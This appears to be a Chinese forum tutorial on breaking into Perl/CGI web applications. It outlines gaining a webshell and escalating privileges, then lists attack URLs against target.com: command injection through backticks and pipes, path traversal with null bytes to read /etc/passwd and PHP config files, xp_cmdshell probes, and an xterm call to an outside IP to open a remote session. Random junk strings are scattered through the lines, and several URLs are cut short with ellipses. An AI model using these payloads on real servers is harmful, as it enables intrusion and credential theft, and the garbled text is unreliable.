总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 - Z' [, d8 p6 H7 Q2 i+ E
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
3 D7 i# R2 V$ d8 l; t6 L+ J9 ]& Y! @$ r感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 ( I, ~" ?, N/ r' e+ p7 \' N
注“ 8 O% W7 }2 H2 {6 X# F
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 - J# U$ T# C9 Y: L* W* Z
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET / v) p- Q6 g! \" D4 b3 B5 z
" D6 ]! ~# @9 B) p: mhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 9 K6 _& T1 @: f
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 * l% R: }: q+ s0 |& D. r9 }% @
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
G1 Q' K8 v# `4 j/ ^( Xhttp://target.com/cgi-bin/home/news/sub.pl?`id` ; L3 Y- R. y& z4 `! r- \" G3 `% t
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` * |# i9 g6 j& n5 t9 A2 x, m3 @
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 + K' s; n1 X/ e* }' x0 ?% { e
9 v# O6 i/ f, Q- H( o' vhttp://target.com/test.pl;ls| 6 F; Z6 N% @( Q& c% w( w. v& I/ ?8 ?
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 4 d6 a) T- U" D, C: V1 q: i
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
% P( T. K1 u `( X. b9 mhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 7 V. K, h" X/ s N! s4 F
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 / x. R3 a$ ]1 W, ^! T
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection . {7 I2 Z. {7 H1 O7 L
! q0 v7 \- P: d* z& b+ a ^
http://target.com/test.pl?&........ /../../etc/passwd ! {" w! D8 I" j1 U
. ]1 \2 I+ `% E, d" |http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
( p0 _5 n" u+ P) X" h( ihttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 " I4 b+ ?( V& J3 B& F) w. M
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
9 Z9 {% _/ w* X) @. h1 E Y4 M" c% ^" M
http://www.target.org/show.php?f ... /include/config.php 查看php代码
% [; j' M# ]) d" V& P8 ]* Z+ jhttp://www.target.org/show.php?f ... ng/admin/global.php
3 p8 ~' k8 r% v, B+ N$ Z
# d6 U( d) ?9 c! ]4 K) M0 ]# jemm和ps的一句话
5 F3 \" J3 o- T. p6 j/ ^0 ]% f
1 f2 X9 E: B0 {8 m& Lhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
5 V8 B: T; ^, O7 D/ U6 ]9 K9 Y% r/ q# m% Y
>bbb%20| * n7 l$ L1 L& K" ~+ e9 ]
$ a3 _. c1 M9 d% F' V( Ihttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 . m+ m/ ~# w, Q& t" l" ]* L
. a- L- p- S9 f" x
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 ; z0 t# ~8 |: P k" z, J
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 1 A/ z8 n. u6 F6 A; V0 s
2 c# W+ B+ c% E" U1 n相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 ( R z; W3 E7 b& k3 M/ p
http://target.com/index.html#cmd.exe
- W/ P7 R6 r9 v, t# R+ _1 u. Fhttp://target.com/index.html?dummyparam=xp_cmdshell + d* w% e3 F0 U5 u% a$ w' X& j
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
1 j- N, v [! H# J) q5 ?2 D |